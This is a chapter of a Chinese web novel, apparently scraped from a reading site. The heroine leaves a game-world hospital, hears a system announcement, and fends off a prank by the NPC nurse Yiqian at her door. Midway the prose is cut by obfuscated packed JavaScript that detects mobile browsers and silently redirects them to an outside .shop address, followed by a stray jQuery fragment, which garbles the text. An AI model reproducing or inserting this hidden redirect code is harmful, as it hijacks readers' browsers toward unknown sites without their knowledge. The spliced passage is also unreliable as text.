洁白的天花板、灯、耳边熟悉的仪器声、身上熟悉的衣服。
一度让醒来的薄言，以为她还在现实的医院，厄里阿斯游轮只是一场噩梦。
“患者已醒来，生命体征正常，可以出院，建议，出院后进行食物和水的补充。”
薄言：？
她看向说话的人，是一个站得端正的护士，她木着眼，说话机械，把话说完后，又眨了眨眼睛，恢复正常。
“你好，请你尽快办理出院，本院不留正常人。”
薄言：？？
这一切莫名的诡异，且病房里只有她一个人，和那位奇怪的护士，太过隔音连外面的声音也听不到。
薄言的背后冒出了冷汗，她坐直身体，警惕的环顾四周，忍住骂人的冲动：“我……又进副本了？”
我特么睡了十一天？睡进副本了吗？！
护士歪了歪头，像是在理解薄言的的话，和她对视了一会儿后，她恍然大悟道：“患者，你只睡了一天，这里是洄之间，不是副本。”
薄言：？？？
“啊？”
这还是薄言第一次从NPC口中听到洄之间、副本这些词，忍不住问她：“你们，知道……这是哪？”
“当然，”她点头，“洄之间有复制现实人生成的复制人，他们不知道这是哪里。”
她好像很骄傲：“我们知道，因为我们是来洄之间打工的。”
薄言：……原来是打工的吗？
“一千，你话太多了！刚诞生就是笨。”
似乎是路过的NPC敲了敲门，喊完话就走了，这位被叫做一千的NPC瞪大眼睛，有些气鼓鼓的，但没有追出去。
而是幽怨地看向薄言：“请你快办理出院手续吧。”
“好，抱歉，让你被骂了。”薄言习惯性地道歉，掀开被子下床，还是有些警惕，“不好意思，请问去哪里办出院手续？”
“哼，原谅你了，请跟我来。”
一千带着薄言走出了病房，一瞬间，走廊嘈杂的声音灌入耳朵，薄言这才有了实感。
“等等，我的衣服呢？”
“已经送回你家了，你回去把医院的衣服换下来，我稍后会上门回收。”
一千似乎聪明了很多，她这种变化是时时刻刻，且非常明显的，薄言感觉很神奇。
不过想到她说，他们都是在洄之间打工的，大概是什么地球人不知道的种族，有自己的生长方式。
一千带着薄言走过走廊，坐电梯到一楼，一路畅通无阻，电梯也不拥挤，医院大到好像没有尽头。
“这里是什么医院？”
一千奇怪地看了她一眼：“洄之间只有一家医院，也就是零号医院。”
听一千说到零号医院，薄言想起了三木说的，零号医院的医疗箱很好用。
但她之前没有来买，因为零号百货拥挤的刻板印象，她以为医院会更拥挤，那很浪费时间，打算找人代购来着。
“那你们这里的医疗箱，在哪里买？”
一千指向对面的导诊台：“那里。”
薄言记下了这个位置，排队办理出院的队伍很快，一千把她带到后，就继续去自己的工作了，什么也没给薄言留下。
两手空空，没有账单也没有检查单的薄言：？
她转头观察了一下前一个人，发现他也没用这些东西，只是走上前站了一会儿，就把钱付完走人了。
“下一个。”
“你好。”
薄言走上前，像前一个一样站着，这才发现面前有个小摄像头，她的信息全部被摄像头识别，投影到了收费员面前的电脑。
“你好，你的费用已被代付，可以出院了。”
薄言：？
“请问一下是谁？”
今天真是一醒来就满头问号，薄言都想买个问号夹子别在头上，疑惑的时候就指一指头上的夹子。
“玩家02。”
原来是朽珞。
薄言点头，转身走向了导诊台：果然朽珞是个，只要一直跟在他身边，他就会管你的好人，组队的好处这不就来了。
得买点什么东西给他，有来有回才好维持关系。
“你好，我想买一个医疗箱。”
“好的，副本医疗箱一个，承惠一枚洄金。”
“多少？”薄言瞪大了眼睛，护士微笑地看着她，重复道：“一枚洄金哟。”
薄言沉默片刻，还是买了，以至于，护士把洄金塞进嘴里吃了，薄言也开始见怪不怪。
种族特性，种族特性而已。
离开这个大的惊人、护士也很惊人的地方，薄言长舒一口气，骑上共享单车就往家回。
现实世界是冬天，所以洄之间也是冬天，冷风吹在脸上，刺骨的冷，但单薄的病号服，居然能抵御寒冷，薄言感觉除了脸，身体非常暖和。
路过门口保安室，保安室内的光是黄色的，看起来很暖，保安推开窗户看向薄言，一股暖风就扑面而来。
“你这是咋了？咋个穿个病号服就回来了？”
“没事的叔，这个就是看起来像，是一种衣服款式，很时尚。”薄言把共享单车停好，朝保安大叔挥手，一口气跑进了楼内。
保安大叔搓了搓手，重新关上了窗户，嘟囔：“现在的年轻人，真是搞不懂。”
进电梯的时候，薄言又遇到了楼上的住户，那对一男一女的内测玩家，男的头发，已经完全褪色成了金色。
“我亲爱的朋友，你这是从哪个副本出来了？”
男人依旧操着一口不流利的中文，女人也好奇看她。
“厄里阿斯游轮。”
“哦！这个副本，你赢了？很厉害嘛。”女。
“对，厉害。”男。
“嗯，谢谢。”薄言礼貌点头，没有主动接过话题，电梯内一时沉默了。
男人看了看两人，又在伙伴的示意下，虽然不理解，但是没有开口。
叮。
“再见。”薄言出于礼貌，朝他们挥了挥手。
“再见。”
“再见朋友。”
薄言刚踏出电梯门，正在开锁呢，系统的全服公告突然响了。
【有玩家质疑进化游戏的全球同步在线人数过少，在此指正，全球同步在线，即，全球各国玩家同步在线七千人，不足七千人的国家，则基于国家总人口数取三分之一为玩家。】
【各国排行榜不彼此串台，只副本有机会匹配到一起，解释只此一次，请勿再质疑游戏的专业性。】
薄言推开门回到了家里，思索着系统的公告，“这么说，其实玩家不止七千人？有很多很多……”
这一则公告出来，薄言才有了一种，进化游戏是一个全球人共同灾难的实感，之前，一直以为只有他们如此不幸。
不过，这也说明，每有一个玩家回到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816973|206690||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现实，现实的人都会被删除一次记忆，被删除玩家消失的天数。
如此庞大修改量，洄之间把现实世界随意剪裁，现实世界却不能对洄之间造成影响，如此荒诞。
薄言走到窗前，看着下方人来人往，非常有生活气，非常现实的一幕，看着看着，有些恍惚地想。
对于这些被复制的人来说，洄之间就是他们的现实，那我们，如何证明，自己不是被更高纬度的人复制到现实，于是把现实当做现实呢？
不，没必要去想这些。
薄言甩了甩头，把所有关于质疑的念头都收起来，无论真实虚假，活下去才是答案。
屋外的冷风越来越大，吹得窗户啪啪响，冬天的夜晚黑得也快，路人鸢办理出院的时机很不巧，风把他的头发吹成了爆炸头。
“好好好，好大的，风。”
路人鸢转个身，又冲回了医院，拿出手机看了看，发现之前下的订单已经被接了，惊喜道：“这种大风天还有人接单，真是太好了。”
由于他醒的很晚，没有听到系统的播报，也就没有薄言那样的烦恼，只惊喜于能打到车回家了。
“你好，乘客4784。”
驾驶位上，是引导路人鸢办理出院的护士，一千。
他有些懵，看了看她，又看了看医院：“你，你怎么在这？”
一千冲他露出微笑：“晚上了，我下班接外快，快上车吧，外面很冷的。”
“好……”
路人鸢稳稳坐在后排，坐得规规矩矩，他有点怵一千，感觉她有时候有点吓人。
被送到家后，路人鸢几个健步就往家里冲，然后就被一千叫住了。
“等等，可以现在把衣服换下来给我吗？”
“好。”
等了片刻，一千拿着第一套病号服开车离开，随后沿着道路，回收了第二套、第三套，甚至还顺便接了两单。
一路飞驰后，薄言这里是最后一家回收的地方，一千关上车门，按照人类的方式走电梯、敲门。
“咚咚咚。”
正在写日记的薄言：？
她好像听到了什么？但这屋子不是隔音的吗？
“咚咚咚。”
最后一笔落下，薄言合上日记，锁进了抽屉里，然后站起身，走向发出声音的方向。
“咚咚咚。”
越靠近门口，声音越清晰，似乎是人声，在模仿敲门的声音，薄言暗自嘀咕：“什么东西在模仿人类敲门吗？”
洄之间也有怪物？
薄言摸上卡牌包，抽出了那把半透明直刀，提在手上，她放轻脚步声，走到门前。
薄言迟疑片刻，面对恐怖片里的经典场景，看猫眼肯定会被吓。
“咚咚咚。”
声音又出来了，就是人声模仿敲门声，薄言深吸一口气，既然要敲门，那不开门就进不来吧？
她直接收起直刀，转身离开，开门？算了，慢慢在外面敲门去吧。
“哎哎哎？你怎么走了！不对啊，你应该先看猫眼，被我吓一跳，然后开门，再被我吓一跳，你怎么不按套路来。”
这个声音非常耳熟，薄言一瞬间就知道，门外究竟是谁。
她有些无语地拿起病号服，开门，把衣服塞进一千怀里，关门，一套动作行云流水。
抱着衣服，吃了闭门羹的一千：？？？
薄言，你不按套路来，我讨厌你！